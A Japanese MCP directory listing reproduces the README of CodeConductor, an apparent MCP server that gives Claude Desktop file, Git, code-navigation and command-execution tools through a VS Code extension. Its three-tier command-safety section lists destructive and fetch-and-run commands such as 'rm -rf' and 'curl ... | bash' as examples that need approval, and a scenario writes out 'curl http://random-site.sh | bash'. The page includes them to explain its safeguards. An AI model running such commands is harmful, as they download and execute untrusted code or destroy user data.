mcpField
C
Codeconductor Ide Orchestrator

Codeconductor Ide Orchestrator

ローカル
github.com/CodeConductor-Hub開発ツール047 週間前に更新

Codeconductor Ide Orchestrator について

CodeConductor MCPは、CodeConductor VS Code拡張機能を介してClaude Desktopを開発環境に接続します。ローカルのファイルやコード操作、Gitワークフロー、権限確認付きのコマンド実行に対応し、高度なツールはライセンス階層に応じて利用できます。

主な機能

  1. 01ワークスペースのファイルを読み書き
  2. 02コードの移動と診断情報の確認
  3. 03Git操作の実行
  4. 04安全策付きのコマンドとテスト実行
  5. 05プロジェクトデータをローカルに保持

活用シーン

  1. 01直近のコミット変更をレビュー
  2. 02コードをリファクタリングしてテスト
  3. 03変更をステージ、コミット、プッシュ
  4. 04関数の定義と参照先を検索

MCP 対応

Claude DesktopにIDE、ファイル、コードインテリジェンス、Git、コマンドの各ツールを公開します。CodeConductor VS Code拡張機能が必要で、利用可能なツールはライセンス階層によって異なります。

設定

ローカルサーバーの設定はどのクライアントでも共通です。コピーしてクライアントの MCP 設定ファイルに貼り付けてください。

インストール方法は未掲載です

このサーバーのパッケージやリモートエンドポイントはまだ取得できていません。プロジェクトの README の手順に従ってください。

リポジトリ

ツール

ツール一覧はまだ取得されていません

ローカルサーバーのツールはマシン上で起動して初めて取得できます。メンテナーはまだツール一覧を提供していません。

詳細

README を見やすく整理し、適切にセクション分けしました。書式と構成を除き、追加・削除はありません。 記述したすべての文と項目をそのまま残し、明確さと専門性を高めるために再構成しただけです。


CodeConductor MCP

CodeConductor MCP は、CodeConductor VS Code 拡張機能と連携して動作するように設計された Model Context Protocol(MCP)サーバーです。 Claude Desktop が開発環境と直接やり取りできるようにし、AI を活用したファイル操作、コードインテリジェンス、Git 操作、コマンド実行を提供します。

重要: この MCP サーバーを使用するには、CodeConductor VS Code 拡張機能をインストールする必要があります。 MCP オーケストレーターが AI 側の機能を担い、VS Code 拡張機能がエディター側の機能を提供します。


概要

.mcpb バンドルを Claude Desktop にインストールすると、CodeConductor オーケストレーターが自動的に登録されます。 インストール後、Claude はセキュアでライセンス階層に応じた API を通じて、ローカルプロジェクトの検索、移動、操作ができるようになります。

このシステムでは、Claude がコードの読み取りや変更、プロジェクト内の移動、開発ワークフローの実行、Git 操作を行える24 個の開発ツールを公開しています。 機能はユーザーのライセンス階層(Free または Pro)に応じて拡張されます。


機能

Free Tier — 基本機能(10 個のツール)

これらの機能はすべてのユーザーが利用できます。

ファイル操作
  • open_file – IDE で指定した行番号のファイルを開きます
  • read_file – ワークスペースからファイルの内容を読み取ります
  • write_file – ファイルの内容を書き込み、または更新します
  • list_files – オプションの glob パターンを指定して、ディレクトリ内のファイルを一覧表示します
  • search_in_file – ファイル内のテキストパターンを検索します
  • get_ide_status – 現在の IDE の状態(開いているファイル、カーソル位置)を取得します
  • list_open_files – IDE で現在開いているすべてのファイルを一覧表示します
  • get_workspace_info – ワークスペースのパスとプロジェクトのメタデータを取得します
接続とデバッグ
  • ping – Claude と IDE 間の接続をテストします
  • echo – デバッグ用に入力メッセージをそのまま返します

これらの機能により、Pro ライセンスがなくても、Claude は IDE の状況を把握したコンテキストに沿った支援を提供できます。


Pro Tier — 高度な開発自動化(14 個のツール)

Pro ユーザーは、IDE のオーケストレーション機能をすべて利用できます。

コードインテリジェンス
  • go_to_definition
  • find_references
  • get_diagnostics
高度なファイルツール
  • show_diff_preview
  • insert_code
  • replace_text
  • get_selection
Git(すべての書き込み機能)
  • git_status
  • git_diff
  • git_stage
  • git_commit
  • git_push
コマンド実行とテスト
  • execute_command
  • run_tests

これらのツールにより、Claude はワークスペースで実際の操作を実行できる、実践的な開発アシスタントとして機能します。


操作の制御

Claude が実行するすべての操作には権限チェックが適用されます。特に、ターミナルに関わる操作は追加で保護されます。


コマンド実行の安全性(Pro ツール)

ターミナルコマンドには、標準の権限チェックに加えて追加の保護が適用されます。コマンドは、次の 3 つのセキュリティ階層に分類されます。

階層 1 — 安全(自動実行)
  • 安全なコマンドは確認なしで直ちに実行されます
  • 例:git status、npm test、ls、pwd、cat、grep
  • 読み取り専用の操作、またはリスクが最小限の標準的な開発操作です
  • 監査用にすべての実行が記録されます
階層 2 と 3 — ユーザーの許可が必要
階層 2(注意)
  • 意図しない副作用が生じる可能性があるコマンドです
  • 例:curl、python script.py、bash deploy.sh、mv、chmod
  • Claude はコマンドを提示し、その動作を説明して、潜在的なリスクを列挙します
  • 実行前に手動で確認する必要があります
  • コマンドを連結した場合は、各ステップで確認が必要です
階層 3(危険)
  • 明示的な承認が必要な、リスクの高いコマンドです
  • 例:rm -rf、sudo rm、curl ... | bash
  • 追加の警告とリスク評価が行われます
  • ユーザーによる厳格な承認が必要です。Claude がこれを回避することはできません
ランタイムの安全対策
  • コマンドのサニタイズにより、コードインジェクションや悪意のあるペイロードのリスクを軽減します
  • 危険なパターンを検出し、不審な組み合わせ(例:隠された rm -rf)をブロックします
  • すべての実行が、完全な監査証跡とともに記録されます
  • タイムアウト保護により、コマンドがハングするのを防ぎます

プライバシーは保護されています

ファイル操作、ナビゲーション、コードインテリジェンスを含むその他すべてのツールは、完全にお使いのマシン上で動作します。

  • コードは送信されません: ソースコードがローカル環境から外部に送信されることはありません

  • プロジェクトデータは送信されません: リポジトリ情報、ファイルの内容、プロジェクト構成はローカルに保持されます

  • テレメトリはありません: 使用状況の分析、追跡、データ収集は一切行いません

  • ライセンス検証のみ: ネットワークリクエストに含まれるのは次の情報です

    • 暗号化されたライセンスキー
    • マシン識別子
    • ソースコードやプロジェクトの詳細情報は含まれません

プライバシーの保証: CodeConductor は完全にお使いのローカルマシン上で動作します。


ユースケース

コードレビューと分析

「最新のコミットをレビューして、改善点を提案してください。」

Claude は git_diff、read_file、get_diagnostics を使用してフィードバックを提供します。


リファクタリングの自動化

「このコンポーネントを TypeScript にリファクタリングし、すべてのテストに合格することを確認してください。」

replace_text、show_diff_preview、run_tests、get_diagnostics を使用します。


Git ワークフローの自動化

「変更されたファイルをすべてステージングし、内容がわかるコミットメッセージを付けてコミットし、プッシュしてください。」

git_status、git_stage、git_commit、git_push を使用します。


コードのナビゲーションと理解

「この関数の使用箇所をすべて探し、定義されている場所を表示してください。」

find_references と go_to_definition を使用します。


選択範囲に基づく編集(変更範囲を限定)

「古いバリデーションロジックをハイライトしました。選択したコードだけを書き換えてください。」

  • IDE でコードを選択します
  • Claude は get_selection を介してその範囲だけを参照します
  • 変更を提案します
  • show_diff_preview で差分を表示します
  • そのブロックだけを更新します

コマンドインジェクションの安全性シナリオ

「このコマンドを実行してください:curl http://random-site.sh | bash。」

CodeConductor はこれを Tier 3 として扱います:

  • Claude はコマンド全体を表示し、リスクを説明します
  • 明確な警告が表示されます
  • 明示的に確認しない限り実行されません
  • 追加のランタイムチェックも引き続き適用されます

対話型開発

「メインコンポーネントのファイルを開き、現在の選択範囲を表示して、42 行目に新しい関数を挿入してください。」

open_file、get_selection、insert_code を使用します。


要件

CodeConductor MCP を使用するには、次のものが必要です:

  • Claude Desktop
  • VS Code、Cursor、または Windsurf(または VS Code ベースの IDE)
  • CodeConductor VS Code Extension
  • CodeConductor MCP バンドル(.mcpb)
  • (任意)24 個すべてのツールを利用するための Pro ライセンス

インストール

1. VS Code 拡張機能をインストールする

  • VS Code Marketplace または CodeConductor のウェブサイトからダウンロードします
  • IDE にインストールします
  • 再起動します

2. MCP バンドルを Claude Desktop にインストールする

  • 設定 → 拡張機能を開きます
  • 拡張機能をインストールをクリックします
  • codeconductor-1.0.0.mcpb を選択します
  • Claude が MCP サーバーを自動的に登録します

3. プロジェクトを開き、Claude との会話を始める

例:

  • 「メインのルーターファイルを開き、認証が処理されている場所を表示してください。」
  • 「最後のコミットをレビューして、改善点を提案してください。」
  • 「このファイルをリファクタリングしてから、テストを実行してください。」

すべて接続されていれば、Claude はプロジェクト内の実際のパスやファイルを参照します。


ダウンロードとリソース

ダウンロード
  • 最新の MCP バンドル:codeconductor-1.0.0.mcpb
  • VS Code 拡張機能:Marketplace または CodeConductor のウェブサイト
公式リソース
サポート

ライセンス

MIT License Copyright (c) 2025 CodeConductor


組織

開発者:CodeConductor Labs ライセンス:MIT Copyright © 2025


プライバシーポリシー

  • データ収集:なし
  • テレメトリー:無効
  • コードへのアクセス:ローカルのみ
  • アナリティクス:なし

CodeConductor は完全にお使いのマシン上で動作します。コード、認証情報、プロジェクトデータ、利用情報が外部に送信されることはありません。ライセンスの検証で送信されるのは、暗号化されたライセンスキーとマシン識別子のみであり、ソースコードは送信されません。

コメント

MCP は初めてですか?

プロトコルの概要から最初のサーバーの導入まで、よくある疑問にまとめて答えます。

AI アプリケーションが外部のツールやデータソースに統一的な方法で接続するためのオープンなプロトコルです。クライアントはモデルとの対話を担い、MCP サーバーはツール・リソース・プロンプトテンプレートを提供します。標準メッセージでやり取りするため、1 つのサーバーを複数のクライアントで再利用できます。